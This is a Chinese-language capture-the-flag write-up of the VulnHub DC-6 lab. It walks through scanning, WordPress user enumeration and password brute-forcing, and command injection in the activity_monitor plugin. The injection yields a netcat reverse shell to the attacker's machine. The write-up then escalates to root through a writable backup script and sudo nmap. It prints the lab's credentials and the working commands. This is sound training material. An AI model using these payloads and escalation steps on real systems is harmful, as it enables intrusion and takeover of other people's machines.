vulnhub靶场之DC-6

一.环境搭建

1.靶场描述

DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
This isn't an overly difficult challenge so should be great for beginners.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

只有一个flag

2.靶场下载地址

https://www.vulnhub.com/entry/dc-6,315/

3.启动靶场环境

下载下来是虚拟机压缩文件,直接用Vmvare导入就行。然后调一下网络,建议调成NAT模式,桥接其实也行.

vulnhub靶场之DC-6_第1张图片

虚拟机开启之后界面如上,我们不知道ip,需要自己探活,网段知道:192.168.52.0/24

二.渗透靶场

1.目标

目标就是我们搭建的靶场,靶场IP为:192.168.52.0/24

2.信息收集

(1)寻找靶机真实IP

使用nmap进行探活,寻找靶机ip

namp -sP 192.168.52.0/24

vulnhub靶场之DC-6_第2张图片

arp-scan -l

vulnhub靶场之DC-6_第3张图片

我们知道靶场ip地址为192.168.52.137

(2)探端口及服务

nmap -A -v -p- 192.168.52.137

vulnhub靶场之DC-6_第4张图片

发现开放了80端口,存在web服务,Apache httpd 2.4.25 (Debian)
发现开放了22端口,OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)

也可以使用masscan探活端口

masscan --rate=10000 --ports 0-65535 192.168.52.137

vulnhub靶场之DC-6_第5张图片

(3)web指纹识别

3.渗透测试

(1)访问web服务

http://192.168.52.137

vulnhub靶场之DC-6_第6张图片

发现找不到,我们可以明显的看到ip变成了域名,那可以知道是由于DNS解析失败导致的,我们就需要在hosts文件中添加指向。

1)windows修改hosts文件

打开hosts文件,hosts文件路径如下

C:\WINDOWS\system32\drivers\etc

vulnhub靶场之DC-6_第7张图片

添加如下内容

192.168.52.137 wordy

vulnhub靶场之DC-6_第8张图片

2)liunx修改hosts文件

hosts文件路径如下

/etc/hosts

Vim修改hosts文件

vim /etc/hosts

vulnhub靶场之DC-6_第9张图片

3)hosts文件修改成功

(2)扫描web服务

1)棱洞3.0指纹识别
./EHole_linux_amd64 finger -u http://192.168.52.137

vulnhub靶场之DC-6_第10张图片

2)nikto扫描网站结构

使用nikto工具扫描网站结构,发现登录页面wp-login.php和一些其他的目录

nikto -h http://192.168.52.137

vulnhub靶场之DC-6_第11张图片

(3)进行渗透测试

1)访问登录页面

vulnhub靶场之DC-6_第12张图片

但是我们不知道用户名和密码,我们可以进行爆破

2)获取用户名

我们使用wpscan进行爆破用户名

使用wpscan工具对wordpress网站扫描获取WordPress可以登录的用户

wpscan --url wordy -e u

vulnhub靶场之DC-6_第13张图片

vulnhub靶场之DC-6_第14张图片

我们可以发现5个用户名

3)制作用户字典

题目中给出了提示,告诉了我们密码字典的生成方式

vulnhub靶场之DC-6_第15张图片

vulnhub靶场之DC-6_第16张图片

cd /usr/share/wordlists
cp rockyou.txt.gz rockyou.txt.gz.bak
gunzip rockyou.txt.gz rockyou.txt
cat /usr/share/wordlists/rockyou.txt | grep k01 > wordy-pass1.dic

4)爆破用户名和密码

爆破时间有点长

vulnhub靶场之DC-6_第17张图片

vulnhub靶场之DC-6_第18张图片

用户名是mark 密码helpdesk01

5)进行登录
http://wordy/wp-login.php
Mark/helpdesk01

vulnhub靶场之DC-6_第19张图片

6)发现RCE漏洞

简单看一下页面,发现存在activity_monitor插件,存在功能 IP 转十进制和一个域名解析lookup的功能、使用nslookup命令执行的,可能存在一个RCE的漏洞。

vulnhub靶场之DC-6_第20张图片

vulnhub靶场之DC-6_第21张图片

vulnhub靶场之DC-6_第22张图片

发现长度限制并绕过

发现在前端做了长度限制,最长长度只能输入15个字符,就是说输入114.114.114.114的话没办法加命令,这里提供两个思路,一个就是采用burp抓包修改,一个就是直接修改html
我这里采用修改html的方式绕过长度限制
打开开发者模式F12
输入114.114.114.114,点击lookup,采用小箭头找到输入框,找到114的位置,把114.114.114.114改成114.114.114.114;whoami,然后再次点击lookup,命令执行成功,同理我们可以反弹shell

我们使用看到无法输入

vulnhub靶场之DC-6_第23张图片

vulnhub靶场之DC-6_第24张图片

vulnhub靶场之DC-6_第25张图片

(4)反弹shell到kali

1)kali进行监听
nc -lvnp 55555
2)靶机执行命令

把html输入内容位置改成反弹的命令

114.114.114.114;nc -e /bin/bash 192.168.52.152 55555
3)监听成功

vulnhub靶场之DC-6_第26张图片

image-20240106160805765

4)进入交互式shell

这个shell不好用,进入交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

image-20240106160818161

(5)进行提权

1)尝试suid提权失败

查找具有suid权限的程序

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null 

没有发现可以利用的程序,我们换一个思路

2)查找可执行操作

执行sudo -l,发现需要www-data的密码

sudo -l

vulnhub靶场之DC-6_第27张图片

我们切换到home目录下,可以发现有4个用户名

vulnhub靶场之DC-6_第28张图片

我们一个一个进行查看,最后进入到mark用户的家目录下,stuff文件下有一个things-to-do.txt文件,查看文件内容发现graham用户及登录密码

vulnhub靶场之DC-6_第29张图片

vulnhub靶场之DC-6_第30张图片

vulnhub靶场之DC-6_第31张图片

可以看到有一个stuff文件

vulnhub靶场之DC-6_第32张图片

3)切换到graham用户

我们切换用户为graham,输入密码GSo7isUM1D4

vulnhub靶场之DC-6_第33张图片

4)发现jens目录下backups.sh文件
/home/jens/backups.sh

vulnhub靶场之DC-6_第34张图片

查看备份文件

cat /home/jens/backrups.sh

vulnhub靶场之DC-6_第35张图片

发现里面是如下命令,是对web的文件进行打包备份

tar -czf backups.tar.gz /var/www/html

vulnhub靶场之DC-6_第36张图片

5)切换到jens 用户

向backups.sh文件中写入”/bin/bash”,并以jens用户去执行该脚本

vulnhub靶场之DC-6_第37张图片

脚本执行成功后,切换到jens用户

image-20240106204637136

6)发现jens可在无密码下执行nmap

再次查看jens可以执行的操作,发现jens可以在无密码情况下使用nmap命令

vulnhub靶场之DC-6_第38张图片

可以看到root

7)提权成功

百度到可以写入一条命令到getShell,并通过nmap运行getShell成功进入root用户,在/root目录下找到theflag.txt文件

echo 'os.execute("/bin/sh")' > getShell
sudo  nmap  --script=getShell

vulnhub靶场之DC-6_第39张图片

8)发现flag

vulnhub靶场之DC-6_第40张图片

三.相关资源

1.靶场下载地址

2.nmap

3.arp-scan

4.masscan

5.[ 常用工具篇 ] 渗透神器 whatweb 安装使用详解

6.[ 渗透工具篇 ] EHole(棱洞)3.0安装部署及详解(linux & win)

7.nikto

8.wpscan

9.[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell

10.[ 常用工具篇 ] burpsuite_pro 安装配置详解(附安装包)

11.简谈SUID提权

12.实现交互式shell的几种方式

13.修改hosts文件

你可能感兴趣的:([,vulnhub靶机通关篇,],web安全)